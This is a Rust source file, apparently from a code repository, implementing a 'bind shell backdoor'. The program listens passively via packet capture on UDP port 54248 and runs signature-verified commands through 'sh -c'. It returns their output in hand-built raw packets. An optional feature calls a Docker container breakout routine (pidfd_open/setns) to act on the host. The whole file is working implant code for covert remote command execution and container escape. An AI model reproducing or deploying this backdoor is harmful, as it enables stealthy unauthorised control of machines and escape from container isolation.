if the bind shell example is compiled with the right feature and is run inside a(n) (im)properly configured Docker container, it is now able to break out and run some commands on the host for some reason, under this breakout mode, it runs a little weird with networking commands, but does fine with file system or IPC based commands
300 lines
9.1 KiB
Rust
300 lines
9.1 KiB
Rust
use std::os::unix::ffi::OsStrExt;
|
|
use std::process::Stdio;
|
|
use std::{ffi::OsStr, sync::Arc};
|
|
|
|
use anyhow::{anyhow, bail, Context};
|
|
use ed25519_dalek::{PublicKey, Signature, Verifier};
|
|
use pcap_sys::{self, packets::EthernetPacket};
|
|
use tokio::{self, io::AsyncReadExt, process, sync::mpsc};
|
|
use tokio_stream::StreamExt;
|
|
|
|
use ex_bind_shell_key_generator::PUBKEY;
|
|
|
|
#[cfg(feature = "docker-breakout")]
|
|
extern "C" {
|
|
fn breakout(err_loc: *mut i32) -> i32;
|
|
}
|
|
|
|
#[tokio::main]
|
|
async fn main() -> anyhow::Result<()> {
|
|
if let Err(e) = handled_main().await {
|
|
log::error!("{:?}", e);
|
|
}
|
|
|
|
Ok(())
|
|
}
|
|
|
|
async fn handled_main() -> anyhow::Result<()> {
|
|
simple_logger::SimpleLogger::new()
|
|
.with_level(log::LevelFilter::Off)
|
|
.with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Info)
|
|
.init()?;
|
|
|
|
let pubkey =
|
|
Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
|
|
|
|
log::info!("Pubkey is good");
|
|
|
|
#[cfg(feature = "docker-breakout")]
|
|
unsafe {
|
|
let mut err_loc: i32 = 0;
|
|
let result = breakout(&mut err_loc as *mut _);
|
|
let errno = std::io::Error::last_os_error();
|
|
|
|
if result != 0 {
|
|
if err_loc == 1 {
|
|
log::warn!("Docker breakout was unsuccessful! pidfd_open error: {errno:?}");
|
|
} else if err_loc == 2 {
|
|
log::warn!("Docker breakout was unsuccessful! setns error: {errno:?}");
|
|
} else {
|
|
log::warn!("Docker breakout was unsuccessful, and error location is unknown! {err_loc}, {result}");
|
|
}
|
|
} else {
|
|
log::info!("Docker breakout was successful!");
|
|
}
|
|
}
|
|
|
|
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
|
|
|
|
let interface_name = interfaces
|
|
.find(|eth| eth.starts_with("eth"))
|
|
.ok_or(anyhow!("Could not get an ethernet interface"))?;
|
|
|
|
log::info!("Attaching to interface {}", &interface_name);
|
|
|
|
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
|
|
|
|
interface.set_buffer_size(8192)?;
|
|
interface.set_non_blocking(true)?;
|
|
interface.set_promisc(false)?;
|
|
interface.set_timeout(10)?;
|
|
|
|
let mut interface = interface.activate()?;
|
|
|
|
interface.set_filter("inbound and udp port 54248", true, None)?;
|
|
|
|
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
|
|
bail!("interface does not support ethernet")
|
|
}
|
|
|
|
enum EventType {
|
|
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
|
|
Send(EthernetPacket),
|
|
Exit,
|
|
}
|
|
|
|
let mut packets = interface.stream()?;
|
|
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
|
|
let (exit_sender, mut exit_handler) = mpsc::channel(1);
|
|
|
|
while let Some(evt) = tokio::select! {
|
|
v = packets.next() => v.map(EventType::Packet),
|
|
v = packets_to_send.recv() => v.map(EventType::Send),
|
|
v = exit_handler.recv() => v.map(|_| EventType::Exit)
|
|
} {
|
|
match evt {
|
|
EventType::Packet(pkt) => {
|
|
if let Ok(pkt) = pkt {
|
|
let packet_sender_clone = packet_sender.clone();
|
|
let exit_sender_clone = exit_sender.clone();
|
|
let pubkey_clone = pubkey.clone();
|
|
tokio::spawn(async move {
|
|
if let Err(e) = handle_command(
|
|
pubkey_clone,
|
|
pkt,
|
|
packet_sender_clone,
|
|
exit_sender_clone
|
|
).await
|
|
{
|
|
log::warn!("Error handling packet: {e}");
|
|
}
|
|
});
|
|
}
|
|
}
|
|
EventType::Send(pkt) => {
|
|
packets.sendpacket(pkt.pkt())?;
|
|
}
|
|
EventType::Exit => {
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
Ok(())
|
|
}
|
|
|
|
async fn handle_command(
|
|
pubkey: Arc<PublicKey>,
|
|
eth: EthernetPacket,
|
|
send_response: mpsc::Sender<EthernetPacket>,
|
|
send_exit: mpsc::Sender<()>
|
|
) -> anyhow::Result<()> {
|
|
use pcap_sys::packets::*;
|
|
let eth_pkt = eth.pkt();
|
|
let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?;
|
|
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?;
|
|
|
|
let source_port = udp_pkt.srcport();
|
|
|
|
let error_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, 255]);
|
|
let error_ip_packet = IPv4Packet::construct(
|
|
ip_pkt.dest_ip(),
|
|
ip_pkt.source_ip(),
|
|
&Layer4Packet::UDP(error_udp_packet),
|
|
);
|
|
let error_eth_packet = EthernetPacket::construct(
|
|
*eth_pkt.destination_address(),
|
|
*eth_pkt.source_address(),
|
|
&Layer3Packet::IPv4(error_ip_packet),
|
|
);
|
|
|
|
let data = udp_pkt.get_data();
|
|
|
|
if data.len() < 65 {
|
|
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
|
log::warn!("Could not send command done packet: {e:?}");
|
|
}
|
|
bail!("Packet was too short")
|
|
}
|
|
|
|
let Ok(signature): Result<[u8; 64], _> = data[..64].try_into() else {
|
|
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
|
log::warn!("Could not send command done packet: {e:?}");
|
|
}
|
|
bail!("could not get signature from command")
|
|
};
|
|
|
|
let signature = Signature::from(signature);
|
|
|
|
let cmd = &data[64..];
|
|
|
|
if let Err(e) = pubkey.verify(cmd, &signature) {
|
|
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
|
log::warn!("Could not send command done packet: {e:?}");
|
|
}
|
|
return Err(e).context("message provided was unauthenticated");
|
|
}
|
|
|
|
let cmd = OsStr::from_bytes(cmd);
|
|
|
|
log::info!("Received command to execute: {cmd:?}");
|
|
|
|
let cmd_str = std::str::from_utf8(cmd.as_bytes());
|
|
match cmd_str.map(|c| c.split(" ").collect::<Vec<_>>()).as_deref() {
|
|
#[cfg(not(feature = "no-exit"))]
|
|
Ok(["exit"]) => {
|
|
let _ = send_exit.send(()).await;
|
|
return Ok(());
|
|
}
|
|
Ok(["cd", dir]) => {
|
|
std::env::set_current_dir(dir)?;
|
|
return Ok(());
|
|
}
|
|
_ => {}
|
|
}
|
|
|
|
let Ok(mut child) = (process::Command::new("sh")
|
|
.arg("-c")
|
|
.arg(cmd)
|
|
.env("TERM", "screen")
|
|
.stdin(Stdio::null())
|
|
.stdout(Stdio::piped())
|
|
.stderr(Stdio::piped()))
|
|
.spawn() else {
|
|
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
|
|
log::warn!("Could not send command done packet: {e:?}");
|
|
}
|
|
bail!("could not spawn child")
|
|
};
|
|
|
|
{
|
|
let stdout = match &mut child.stdout {
|
|
Some(ref mut stdout) => stdout,
|
|
None => bail!("could not get child process stdout")
|
|
};
|
|
let stderr = match &mut child.stderr {
|
|
Some(ref mut stderr) => stderr,
|
|
None => bail!("could not get child process stderr")
|
|
};
|
|
|
|
enum Output {
|
|
Out,
|
|
Err,
|
|
}
|
|
|
|
let mut stdout_buffer = [0u8; 1024];
|
|
let mut stderr_buffer = [0u8; 1024];
|
|
|
|
loop {
|
|
let (out_type, Ok(len)) = tokio::select! {
|
|
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
|
|
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
|
|
} else { continue; };
|
|
|
|
if len == 0 {
|
|
break;
|
|
}
|
|
|
|
let msg = &match out_type {
|
|
Output::Err => stderr_buffer,
|
|
Output::Out => stdout_buffer,
|
|
}[..len];
|
|
|
|
let fullmsg = &[
|
|
match out_type {
|
|
Output::Out => &[1],
|
|
Output::Err => &[2]
|
|
},
|
|
msg
|
|
]
|
|
.concat();
|
|
|
|
let udp_packet = UDPPacket::construct(54248, source_port, &**fullmsg);
|
|
let ip_packet = IPv4Packet::construct(
|
|
ip_pkt.dest_ip(),
|
|
ip_pkt.source_ip(),
|
|
&Layer4Packet::UDP(udp_packet),
|
|
);
|
|
let eth_packet = EthernetPacket::construct(
|
|
*eth_pkt.destination_address(),
|
|
*eth_pkt.source_address(),
|
|
&Layer3Packet::IPv4(ip_packet),
|
|
);
|
|
|
|
if let Err(e) = send_response.send(eth_packet).await {
|
|
log::warn!("Could not send response packet: {e:?}");
|
|
}
|
|
}
|
|
}
|
|
|
|
let exit_code = child
|
|
.wait()
|
|
.await
|
|
.map(|s| s.code())
|
|
.ok()
|
|
.flatten()
|
|
.unwrap_or(255)
|
|
.try_into()
|
|
.unwrap();
|
|
|
|
let done_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, exit_code]);
|
|
let done_ip_packet = IPv4Packet::construct(
|
|
ip_pkt.dest_ip(),
|
|
ip_pkt.source_ip(),
|
|
&Layer4Packet::UDP(done_udp_packet),
|
|
);
|
|
let done_eth_packet = EthernetPacket::construct(
|
|
*eth_pkt.destination_address(),
|
|
*eth_pkt.source_address(),
|
|
&Layer3Packet::IPv4(done_ip_packet),
|
|
);
|
|
|
|
if let Err(e) = send_response.send(done_eth_packet.clone()).await {
|
|
log::warn!("Could not send command done packet: {e:?}");
|
|
}
|
|
|
|
log::info!("Done executing command {cmd:?}");
|
|
|
|
Ok(())
|
|
}
|